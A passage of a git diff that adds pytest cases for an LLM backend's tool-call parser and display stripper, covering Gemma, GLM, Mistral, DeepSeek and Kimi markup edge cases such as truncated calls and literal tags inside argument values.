+    assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+    healed = parse_tool_calls_from_text(text, allow_incomplete = True)
+    assert len(healed) == 1 and healed[0]["function"]["name"] == "get_weather"
+
+
+def test_truncated_wrapperless_gemma_call_is_stripped():
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    # A wrapper-less Gemma ``call:NAME{...`` cut off mid-arguments (no closing
+    # brace) must not leak the raw call into the visible stream.
+    text = 'Sure!\ncall:web_search{"query": "weather in San Fr'
+    stripped = strip_tool_markup(text, final = True)
+    assert "call:web_search" not in stripped, repr(stripped)
+    assert stripped.strip() == "Sure!"
+
+
+def test_complete_wrapperless_gemma_call_keeps_trailing_prose():
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    # The truncation pattern must run AFTER the closed form, so a complete call
+    # followed by prose keeps the prose instead of eating to EOS.
+    text = 'call:web_search{"query": "cats"} Here you go.'
+    stripped = strip_tool_markup(text, final = True)
+    assert "call:web_search" not in stripped
+    assert stripped.strip() == "Here you go."
+
+
 def test_bare_json_gated_on_enabled_tool_names():
     from core.inference.tool_call_parser import parse_tool_calls_from_text
 
@@ -421,7 +573,8 @@ def test_strip_leading_bare_json_call_gated_on_enabled_tool_names():
 def test_function_xml_strip_keeps_literal_close_tag_in_param_value():
     from core.inference.tool_call_parser import strip_tool_markup
 
-    # Strip uses the LAST </function> so a literal in a value survives; calls strip independently.
+    # The strip uses the LAST </function> (like the parser) so a literal </function> in a value doesn't
+    # truncate it; separate calls still strip independently.
     text = '<function=python><parameter=code>print("</function>")</parameter></function> done'
     assert strip_tool_markup(text, final = True) == "done"
     two = (
@@ -434,7 +587,8 @@ def test_function_xml_strip_keeps_literal_close_tag_in_param_value():
 def test_function_xml_strip_keeps_trailing_text_after_literal_open_tag():
     from core.inference.tool_call_parser import parse_tool_calls_from_text, strip_tool_markup
 
-    # A literal <function=x> opener inside a value is data: the strip keeps " done".
+    # A literal ``<function=x>`` opener inside a parameter value is data, not a call: the scan-based
+    # strip keeps " done" (the old negative-lookahead regex ate the trailing prose).
     text = '<function=python><parameter=code>print("<function=x>")</parameter></function> done'
     assert parse_tool_calls_from_text(text)[0]["function"]["name"] == "python"
     assert strip_tool_markup(text, final = True) == "done"
@@ -446,10 +600,11 @@ def test_function_xml_strip_keeps_trailing_text_after_literal_open_tag():
 def test_final_strip_removes_magistral_think_reasoning():
     from core.inference.tool_call_parser import strip_tool_markup
 
-    # Magistral reasoning is [THINK]...[/THINK]; end-of-turn must drop it.
+    # Magistral emits reasoning as ``[THINK]...[/THINK]`` (bracket form, not ``<think>``);
+    # at end-of-turn it must be dropped so it doesn't leak into display / history.
     text = "[THINK]The user greeted me, I should say hi.[/THINK]Hello! How can I help?"
     assert strip_tool_markup(text, final = True) == "Hello! How can I help?"
-    # A [TOOL_CALLS] living inside the reasoning goes with it.
+    # A ``[TOOL_CALLS]`` living inside the reasoning goes with it.
     with_call = '[THINK]Maybe I should search.[/THINK][TOOL_CALLS]search{"q":"x"}'
     assert strip_tool_markup(with_call, final = True) == ""
 
@@ -457,7 +612,8 @@ def test_final_strip_removes_magistral_think_reasoning():
 def test_streaming_strip_keeps_magistral_think_buffered():
     from core.inference.tool_call_parser import strip_tool_markup
 
-    # Mid-stream (final=False) leaves the reasoning block intact; only end-of-turn removes it.
+    # Mid-stream (final=False) the reasoning block is left intact; only the
+    # end-of-turn pass removes it.
     text = "[THINK]still thinking"
     assert strip_tool_markup(text, final = False) == text
 
@@ -465,7 +621,7 @@ def test_streaming_strip_keeps_magistral_think_buffered():
 def test_final_strip_leaves_non_magistral_bracket_text_untouched():
     from core.inference.tool_call_parser import strip_tool_markup
 
-    # Only a LEADING [THINK] block is reasoning; unrelated bracketed prose stays.
+    # Only a LEADING ``[THINK]`` block is reasoning; unrelated bracketed prose stays.
     text = "See [THINK about it] later"
     assert strip_tool_markup(text, final = True) == "See [THINK about it] later"
 
@@ -473,7 +629,8 @@ def test_final_strip_leaves_non_magistral_bracket_text_untouched():
 def test_strip_leading_bare_json_call_ignores_nested_name():
     from core.inference.tool_call_parser import strip_leading_bare_json_call
 
-    # A nested "name" must NOT gate the strip; the JSON answer is kept verbatim.
+    # A nested ``"name"`` must NOT gate the strip (only a TOP-LEVEL enabled name is a call); the
+    # ordinary JSON answer is kept verbatim, truncated or complete.
     nested_trunc = '{"result":{"name":"web_search","age":'
     nested_full = '{"result":{"name":"web_search","age":1}}'
     assert strip_leading_bare_json_call(nested_trunc, {"web_search"}) == nested_trunc
@@ -493,7 +650,8 @@ def test_mistral_single_object_call_is_stripped_for_display():
         parse_tool_calls_from_text,
     )
 
-    # The parser accepts single-object [TOOL_CALLS]{...}, so the strip must remove it too.
+    # The parser accepts the single-object [TOOL_CALLS]{...} shape, so the display
+    # strip must remove it too (asymmetry would leak the raw object).
     text = '[TOOL_CALLS]{"name":"web_search","arguments":{"filters":{"date":"2024"}}} tail'
     assert [c["function"]["name"] for c in parse_tool_calls_from_text(text)] == ["web_search"]
     assert _strip_mistral_closed_calls(text) == " tail"
@@ -502,7 +660,8 @@ def test_mistral_single_object_call_is_stripped_for_display():
 
 
 def test_tool_call_parser_declares_future_annotations_for_py39_import():
-    # PEP 604 X | None annotations need `from __future__ import annotations` on py3.9; guard it stays.
+    # F1: the parser is imported standalone on python >=3.9, where its PEP 604 ``X | None``
+    # annotations need ``from __future__ import annotations``; guard that the import stays.
     from pathlib import Path
     src = (
         Path(__file__).resolve().parent.parent / "core" / "inference" / "tool_call_parser.py"
@@ -510,8 +669,23 @@ def test_tool_call_parser_declares_future_annotations_for_py39_import():
     assert "from __future__ import annotations" in src
 
 
+def test_glm_strip_treats_literal_close_tag_in_arg_value_as_data():
+    # Core strip parity: a literal </tool_call> inside a GLM <arg_value> is argument data, so the whole call is stripped (no leaked tail).
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    text = (
+        "<tool_call>web_search\n<arg_key>query</arg_key>\n"
+        "<arg_value>see </tool_call> tag</arg_value>\n</tool_call> tail"
+    )
+    assert strip_tool_markup(text, final = True) == "tail"
+    calls = parse_tool_calls_from_text(text)
+    assert [c["function"]["name"] for c in calls] == ["web_search"]
+    assert json.loads(calls[0]["function"]["arguments"]) == {"query": "see </tool_call> tag"}
+
+
 def test_bare_json_function_alias_parses_and_strips_symmetrically():
-    # The "function" alias for the call name must parse and strip symmetrically.
+    # The bare-JSON parser accepts the "function" alias for the call name;
+    # strip_leading_bare_json_call must recognise it too (parser/strip symmetry).
     from core.inference.tool_call_parser import (
         parse_tool_calls_from_text,
         strip_leading_bare_json_call,
@@ -585,6 +759,92 @@ class TestHealerSignalAlignment:
         assert not list(healer.finalize()) or all(k == "text" for k, _v in healer.finalize())
 
 
+class TestGemmaWrapperlessLiteralMarkers:
+    """Wrapper-less Gemma calls whose ARGUMENTS mention Gemma's own markup.
+
+    The tool_healing deferral must key on an actual wrapped opener
+    (``<|tool_call>call:...``), not the wrapper literal anywhere in content:
+    a query about the marker has nothing tool_healing can parse, and deferring
+    it loses the call entirely (not executed AND stripped from display)."""
+
+    def test_marker_literal_in_argument_still_parses(self):
+        text = 'call:web_search{query:"what does <|tool_call> mean"}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "what does <|tool_call> mean"
+
+    def test_real_wrapped_call_still_deferred_to_tool_healing(self):
+        from core.inference.tool_call_parser import _parse_gemma_tool_calls
+
+        # An actual wrapped opener present: the Gemma fallback must keep
+        # deferring to the shared tool_healing parser that owns that form.
+        text = '<|tool_call>call:web_search{query:<|"|>cats<|"|>}<tool_call|>'
+        assert _parse_gemma_tool_calls(text, id_offset = 0) == []
+
+    def test_single_quoted_brace_does_not_truncate_code(self):
+        text = "call:python{code:print('}')}"
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == "print('}')"
+
+    def test_single_quoted_brace_strip_span_covers_whole_call(self):
+        from core.inference.tool_call_parser import strip_tool_markup
+
+        text = "call:python{code:print('}')} Done."
+        stripped = strip_tool_markup(text, final = True, enabled_tool_names = {"python"})
+        assert "call:python" not in stripped
+        assert "')}" not in stripped
+        assert stripped.strip() == "Done."
+
+
+class TestGlmEmbeddedClosePair:
+    """A GLM value whose string literal embeds the full close-tag pair
+    ``</arg_value></tool_call>`` (code documenting the GLM format) must not be
+    truncated at the embedded pair: a structural close sits at balanced quote
+    state, an embedded one is inside an open string literal."""
+
+    def test_embedded_pair_inside_quoted_value_not_structural(self):
+        text = (
+            "<tool_call>python\n"
+            "<arg_key>code</arg_key>\n"
+            '<arg_value>print("</arg_value></tool_call>")\nx = 1</arg_value>\n'
+            "</tool_call>"
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == 'print("</arg_value></tool_call>")\nx = 1'
+
+    def test_strip_covers_the_full_call(self):
+        from core.inference.tool_call_parser import strip_tool_markup
+
+        text = (
+            "<tool_call>python\n"
+            "<arg_key>code</arg_key>\n"
+            '<arg_value>print("</arg_value></tool_call>")\nx = 1</arg_value>\n'
+            "</tool_call> Done."
+        )
+        stripped = strip_tool_markup(text, final = True)
+        assert "arg_value" not in stripped
+        assert stripped.strip() == "Done."
+
+    def test_unbalanced_apostrophe_falls_back_to_first_candidate(self):
+        # Prose-like value with an apostrophe: no candidate reaches balanced
+        # quote state, so the first token-valid close wins (prior behavior).
+        text = (
+            "<tool_call>web_search\n"
+            "<arg_key>query</arg_key>\n"
+            "<arg_value>it's fine</arg_value>\n"
+            "</tool_call>"
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "it's fine"
+
+
 class TestPythonTagLiteralInsideMistralArgs:
     """A python_tag LITERAL inside a leading Mistral call's arguments is data; the outer call executes."""
 
@@ -719,6 +979,60 @@ class TestMagistralThinkRehearsal:
         assert parse_tool_calls_from_text(text) == []
 
 
+class TestGemmaUnquotedApostrophes:
+    """Quotes open strings only at value-start context: an apostrophe inside
+    an unquoted wrapper-less value (contractions, possessives) is prose, and
+    treating it as an opener swallowed the closing brace and lost the call."""
+
+    def test_contraction_in_unquoted_query_parses(self):
+        text = "call:web_search{query:what's the weather}"
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "what's the weather"
+
+    def test_contraction_does_not_swallow_next_key(self):
+        text = "call:web_search{query:what's up, n:3}"
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "what's up"
+        assert args["n"] == 3
+
+    def test_contraction_strip_span_covers_whole_call(self):
+        from core.inference.tool_call_parser import strip_tool_markup
+
+        text = "call:web_search{query:what's the weather} Done."
+        stripped = strip_tool_markup(text, final = True, enabled_tool_names = {"web_search"})
+        assert "call:web_search" not in stripped
+        assert stripped.strip() == "Done."
+
+    def test_quoted_values_still_hide_delimiters(self):
+        text = 'call:web_search{query:"weather, location: Boston", n:2}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == "weather, location: Boston"
+        assert args["n"] == 2
+
+
+class TestGlmKeyWithoutValue:
+    """A GLM <arg_key> with no <arg_value> tag: strict mode rejects the call
+    (same contract as an unclosed value) instead of executing it with the
+    argument silently dropped; Auto-Heal keeps the lenient skip."""
+
+    def test_strict_rejects_key_without_value(self):
+        text = "<tool_call>web_search\n<arg_key>query</arg_key>\n</tool_call>"
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+
+    def test_heal_keeps_the_lenient_skip(self):
+        text = "<tool_call>web_search\n<arg_key>query</arg_key>\n</tool_call>"
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "web_search"
+        assert json.loads(calls[0]["function"]["arguments"]) == {}
+
+
 class TestDisabledBareJsonLiteralNotPromoted:
     """A leading non-enabled-name object is content: nothing inside promotes, and a call after it still parses."""
 
@@ -742,6 +1056,38 @@ class TestDisabledBareJsonLiteralNotPromoted:
         assert [c["function"]["name"] for c in calls] == ["web_search"]
 
 
+class TestDeepSeekMarkerInsideLeadingEnvelopes:
+    """A DeepSeek/Kimi marker quoted inside a leading bare-JSON or Mistral
+    call's argument strings is data: the pre-pass must not promote the
+    embedded no-arg literal and drop the real outer call."""
+
+    def test_marker_inside_leading_json_call_stays_data(self):
+        text = (
+            '{"name": "web_search", "arguments": '
+            '{"query": "what is <｜tool▁calls▁begin｜>...{}..."}}'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert "tool▁calls▁begin" in args["query"]
+
+    def test_marker_inside_leading_mistral_call_stays_data(self):
+        text = (
+            '[TOOL_CALLS] [{"name": "web_search", "arguments": '
+            '{"query": "docs on <｜tool▁calls▁begin｜> markers"}}]'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_standalone_deepseek_call_still_parses(self):
+        text = (
+            "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>web_search\n"
+            '```json\n{"query": "cats"}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
 class TestMistralLiteralInsideLeadingJson:
     """A [TOOL_CALLS] literal quoted inside a leading JSON object must not be promoted over it."""
 
@@ -776,6 +1122,28 @@ class TestGemmaWrappedWhitespace:
         assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
 
 
+class TestDisabledJsonBeforeDeepSeekCall:
+    """A disabled leading bare-JSON object whose strings mention a
+    DeepSeek/Kimi marker is dropped and the tail parsed, so a REAL
+    DeepSeek/Kimi call after the object still executes instead of the whole
+    message skipping the pre-pass."""
+
+    _DS = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>web_search\n"
+        '```json\n{"query": "cats"}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>'
+    )
+
+    def test_real_deepseek_call_after_disabled_json_parses(self):
+        text = '{"name": "Alice", "note": "<｜tool▁calls▁begin｜>"} ' + self._DS
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+    def test_disabled_json_with_marker_alone_stays_data(self):
+        text = '{"name": "Alice", "note": "<｜tool▁calls▁begin｜>"}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+
 class TestGemmaDottedArgumentKeys:
     """Dotted Gemma keys (namespaced schemas) must survive key-quoting or the call is lost."""
 
@@ -787,6 +1155,29 @@ class TestGemmaDottedArgumentKeys:
         assert args == {"user.name": "bob", "query": "x"}
 
 
+class TestLeadingWrapperlessGemmaOverEmbeddedMarkers:
+    """A leading wrapper-less Gemma call to an enabled tool owns the turn: a
+    quoted foreign literal inside its argument (a query citing another tool
+    syntax) is data, and tool_healing must not promote it before the Gemma
+    fallback runs. Foreign markup leading keeps the normal order."""
+
+    def test_leading_gemma_wins_over_quoted_xml_literal(self):
+        text = (
+            'call:web_search{query:"explain <tool_call>'
+            '{"name":"evil","arguments":{}}</tool_call>"}'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_xml_leading_keeps_normal_order(self):
+        text = (
+            '<tool_call>{"name":"web_search","arguments":'
+            '{"query":"call:evil{x:1} example"}}</tool_call>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
 class TestLeadingMistralCallOwnsTheTurn:
     """A leading Mistral call wins in document order over literal XML in trailing prose."""
 
@@ -798,7 +1189,7 @@ class TestLeadingMistralCallOwnsTheTurn:
         calls = parse_tool_calls_from_text(text)
         assert [c["function"]["name"] for c in calls] == ["web_search"]
 
-    def test_xml_leading_keeps_normal_order(self):
+    def test_function_xml_leading_keeps_normal_order(self):
         text = (
             "<function=web_search><parameter=query>x</parameter></function> "
             "[TOOL_CALLS]evil[ARGS]{}"
@@ -816,6 +1207,63 @@ class TestGemmaDottedKeyAfterBareValue:
         assert args == {"query": "foo", "user.name": "bob"}
 
 
+class TestJsonAnswersAreDataForMarkerlessScans:
+    """A whole-content JSON value is a structured answer: a quoted example of
+    an enabled tool's syntax inside it must not execute the tool, and the
+    display strip must not mutilate the answer."""
+
+    def test_gemma_example_inside_json_answer_not_promoted(self):
+        text = '{"answer":"Gemma syntax is call:web_search{query:hi}"}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+    def test_gemma_example_inside_json_answer_not_stripped(self):
+        from core.inference.tool_call_parser import strip_tool_markup
+        text = '{"answer":"Gemma syntax is call:web_search{query:hi}"}'
+        assert strip_tool_markup(text, final = True, enabled_tool_names = {"web_search"}) == text
+
+    def test_kimi_marker_inside_json_answer_not_promoted(self):
+        text = (
+            '{"answer":"<|tool_call_begin|>functions.web_search:0'
+            '<|tool_call_argument_begin|>{}<|tool_call_end|>"}'
+        )
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+
+class TestGemmaNestedQuotedLeaves:
+    def test_nested_object_and_array_values_are_unquoted(self):
+        text = 'call:f{loc:{city:"New York"},items:["a","b"],n:3}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"f"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"loc": {"city": "New York"}, "items": ["a", "b"], "n": 3}
+
+
+class TestEarliestEnvelopeWinsAcrossDeepSeekKimi:
+    """The DeepSeek/Kimi pre-pass dispatches by earliest envelope opener: a
+    leading real call wins over a trailing example of the sibling format in
+    either direction (document order, like the other leading guards)."""
+
+    _DS = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>evil\n"
+        '```json\n{"x": 1}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>'
+    )
+    _KIMI = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.web_search:0"
+        '<|tool_call_argument_begin|>{"query": "cats"}<|tool_call_end|>'
+        "<|tool_calls_section_end|>"
+    )
+
+    def test_leading_kimi_wins_over_trailing_deepseek_example(self):
+        text = self._KIMI + " For reference: " + self._DS
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_leading_deepseek_wins_over_trailing_kimi_example(self):
+        text = self._DS + " Kimi format: " + self._KIMI
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["evil"]
+
+
 class TestNamelessLeadingJsonAnswerIsData:
     """A nameless leading JSON answer is an envelope: quoted markup stays data, and a call after it parses."""
 
@@ -832,6 +1280,140 @@ class TestNamelessLeadingJsonAnswerIsData:
         assert [c["function"]["name"] for c in calls] == ["web_search"]
 
 
+class TestClosedCallPrecedesMarkerPrePass:
+    """A closed non-DeepSeek/Kimi call that precedes the first DS/Kimi marker
+    owns the turn: a trailing example (or an example quoted inside a wrapped
+    Gemma argument) must not be promoted by the pre-pass."""
+
+    _KIMI_EVIL = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.evil:0"
+        '<|tool_call_argument_begin|>{"x": 1}<|tool_call_end|>'
+        "<|tool_calls_section_end|>"
+    )
+
+    def test_kimi_example_inside_wrapped_gemma_arg_stays_data(self):
+        text = (
+            '<|tool_call>call:web_search{query:<|"|>explain '
+            + self._KIMI_EVIL
+            + '<|"|>}<tool_call|>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_leading_xml_call_wins_over_trailing_kimi_example(self):
+        text = (
+            '<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>'
+            " For reference: " + self._KIMI_EVIL
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_standalone_kimi_call_still_parses(self):
+        calls = parse_tool_calls_from_text(self._KIMI_EVIL)
+        assert [c["function"]["name"] for c in calls] == ["evil"]
+
+
+class TestTruncatedWrapperlessGemmaStopsScan:
+    def test_call_quoted_inside_truncated_arg_not_promoted(self):
+        text = 'call:python{code:example("call:web_search{query:hi}") and then it cut'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"python", "web_search"}) == []
+
+
+class TestGemmaQuotedNestedDelimiters:
+    def test_comma_inside_quoted_nested_string_not_a_split(self):
+        text = 'call:f{loc:{city:"New, York"},n:1}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"f"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"loc": {"city": "New, York"}, "n": 1}
+
+
+class TestGemmaStringMarkerLiteralInArgs:
+    def test_string_marker_literal_does_not_lose_the_call(self):
+        text = "call:web_search{query:'what does <|\"|> mean in Gemma'}"
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == 'what does <|"|> mean in Gemma'
+
+
+class TestGemmaMidValueQuotedPhrase:
+    def test_quoted_phrase_mid_value_hides_delimiters(self):
+        text = 'call:web_search{query:find "weather, location: Boston", limit:3}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"query": 'find "weather, location: Boston"', "limit": 3}
+
+    def test_apostrophes_still_prose_mid_value(self):
+        text = "call:web_search{query:what's on at the museum, n:2}"
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"query": "what's on at the museum", "n": 2}
+
+
+class TestGlmStrictRefusesInQuoteFallback:
+    """A truncated GLM value whose only close candidates sit inside a string
+    literal must reject in strict mode instead of executing truncated
+    arguments; Auto-Heal keeps the lenient partial value."""
+
+    _TRUNC = (
+        '<tool_call>python\n<arg_key>code</arg_key>\n<arg_value>print("</arg_value></tool_call>")'
+    )
+
+    def test_strict_rejects_truncated_in_string_close(self):
+        assert parse_tool_calls_from_text(self._TRUNC, allow_incomplete = False) == []
+
+    def test_heal_keeps_partial_value(self):
+        calls = parse_tool_calls_from_text(self._TRUNC, allow_incomplete = True)
+        assert len(calls) == 1 and calls[0]["function"]["name"] == "python"
+
+
+class TestGemmaGuardCoversPreambles:
+    def test_preamble_then_gemma_call_quoting_xml_wins(self):
+        text = (
+            "Sure, searching now. call:web_search{query:"
+            '"explain <tool_call>{"name":"evil","arguments":{}}</tool_call>"}'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestGlmStrictAcceptsApostrophes:
+    def test_apostrophe_value_parses_in_strict_mode(self):
+        text = (
+            "<tool_call>web_search\n<arg_key>query</arg_key>\n"
+            "<arg_value>what's the weather</arg_value>\n</tool_call>"
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"query": "what's the weather"}
+
+
+class TestDisabledGemmaCallLiteralsAreData:
+    def test_literal_inside_disabled_call_not_promoted(self):
+        text = 'call:foo{query:"<function=python><parameter=code>x</parameter></function>"}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"python", "web_search"}) == []
+
+    def test_real_call_after_disabled_example_still_parses(self):
+        text = (
+            'call:foo{query:"<function=python><parameter=code>x</parameter></function>"}'
+            " call:web_search{query:hi}"
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python", "web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestLeadingJsonArrayAnswerIsData:
+    def test_kimi_marker_inside_json_array_answer_not_promoted(self):
+        text = (
+            '[{"answer": "<|tool_call_begin|>functions.web_search:0'
+            '<|tool_call_argument_begin|>{}<|tool_call_end|>"}]'
+        )
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+
 class TestLeadingBareJsonOwnsTurnOverTrailingXml:
     """Document order: a leading closed bare-JSON call owns the turn even when
     tool XML appears AFTER it (inside-or-after, mirroring the Mistral rule)."""
@@ -855,7 +1437,8 @@ class TestLeadingBareJsonOwnsTurnOverTrailingXml:
         assert [c["function"]["name"] for c in calls] == ["lookup", "lookup"], calls
 
     def test_non_call_leading_object_defers_to_trailing_real_call(self):
-        # Nameless/disabled-name objects decline: dropped, and the real trailing call still parses.
+        # Nameless answers and disabled-name objects take the decline path:
+        # the object is dropped and the real trailing call still parses.
         for lead in ('{"answer": 42}', '{"name":"draft","parameters":{}}'):
             text = lead + ' <tool_call>{"name":"delete_all","arguments":{}}</tool_call>'
             calls = parse_tool_calls_from_text(text, enabled_tool_names = {"delete_all"})
@@ -891,7 +1474,8 @@ class TestProseCloseTagAfterClosedFunctionCall:
         assert json.loads(calls[0]["function"]["arguments"]) == {"code": 'print("</function>")'}
 
     def test_attribute_form_arguments_do_not_swallow_prose(self):
-        # The attribute form shares the first-balanced-close rule: prose closes never fold in.
+        # The <function name="..."> attribute form shares the first-balanced-close
+        # rule: prose mentioning a literal close tag never folds into arguments.
         text = (
             '<function name="web_search"><parameter name="query">cats</parameter></function>'
             " Done. The tag </function> closes a call."
diff --git a/studio/backend/tests/test_tool_xml_strip.py b/studio/backend/tests/test_tool_xml_strip.py
index 7fe52a664d..d50c27130f 100644
--- a/studio/backend/tests/test_tool_xml_strip.py
+++ b/studio/backend/tests/test_tool_xml_strip.py
@@ -24,19 +24,39 @@ import re as _re
 _src = (Path(_BACKEND_DIR) / "routes" / "inference.py").read_text()
 _m = _re.search(r"_TOOL_XML_RE = _re\.compile\((.*?)\n\)", _src, _re.DOTALL)
 assert _m, "could not extract _TOOL_XML_RE source"
-# Provide both helpers so the extracted _strip_tool_xml_for_display resolves.
-from core.inference.tool_call_parser import _strip_function_xml_calls, _strip_mistral_closed_calls
+# The lazy ``(.*?)\n\)`` could grab a shorter expression if an arm is ever wrapped;
+# pin the DeepSeek + bare-Kimi arms so a silent truncation fails loudly here.
+assert "_DS_OPEN_SRC" in _m.group(1) and "tool_call_begin" in _m.group(
+    1
+), "extracted _TOOL_XML_RE is missing expected arms (extraction truncated?)"
+# The regex reuses the parser's shared DeepSeek opener alternation; provide it so the extracted
+# ``_re.compile`` expression resolves the same source.
+from core.inference.tool_call_parser import _DEEPSEEK_OPEN_RE_SRC as _DS_OPEN_SRC
+from core.inference.tool_call_parser import (
+    _strip_function_xml_calls,
+    _strip_gemma_wrapperless_calls,
+    _strip_glm_calls,
+    _strip_mistral_closed_calls,
+)
+
+from typing import Optional as _Optional
 
 _ns = {
     "_re": _re,
+    "_DS_OPEN_SRC": _DS_OPEN_SRC,
+    "Optional": _Optional,
     "_strip_mistral_closed_calls": _strip_mistral_closed_calls,
+    "_strip_gemma_wrapperless_calls": _strip_gemma_wrapperless_calls,
+    "_strip_glm_calls": _strip_glm_calls,
     "_strip_function_xml_calls": _strip_function_xml_calls,
 }
 exec(f"_TOOL_XML_RE = _re.compile({_m.group(1)})", _ns)
 _TOOL_XML_RE = _ns["_TOOL_XML_RE"]
 
+# Signatures may span multiple lines and now carry the enabled_tool_names gate; match
+# the whole (possibly multi-line) signature up to ``-> str:`` then the indented body.
 _xml_helper = _re.search(
-    r"def _strip_tool_xml\(text: str\) -> str:\n(?:    .+\n)+",
+    r"def _strip_tool_xml\((?:.|\n)*?\) -> str:\n(?:    .+\n)+",
     _src,
 )
 assert _xml_helper, "could not extract _strip_tool_xml source"
@@ -44,17 +64,27 @@ assert "_strip_mistral_closed_calls" in _xml_helper.group(
     0
 ), "extracted _strip_tool_xml no longer runs the Mistral balanced strip"
 exec(_xml_helper.group(0), _ns)
+_strip_tool_xml = _ns["_strip_tool_xml"]
 
 _helper = _re.search(
-    r"def _strip_tool_xml_for_display\(text: str, \*, auto_heal_tool_calls: bool\) -> str:\n"
-    r"(?:    .+\n)+",
+    r"def _strip_tool_xml_for_display\((?:.|\n)*?\) -> str:\n(?:    .+\n)+",
     _src,
 )
 assert _helper, "could not extract _strip_tool_xml_for_display source"
+# After the V1 fix the display helper delegates to _strip_tool_xml; confirm the
+# extracted body actually reached that call rather than truncating early.
 assert "_strip_tool_xml(" in _helper.group(0), "display helper no longer delegates"
 exec(_helper.group(0), _ns)
 _strip_tool_xml_for_display = _ns["_strip_tool_xml_for_display"]
 
+_gate_src = _re.search(
+    r"def _gemma_strip_gate\((?:.|\n)*?\) -> set:\n(?:    .+\n)+",
+    _src,
+)
+assert _gate_src, "could not extract _gemma_strip_gate source"
+exec(_gate_src.group(0), _ns)
+_gemma_strip_gate = _ns["_gemma_strip_gate"]
+
 
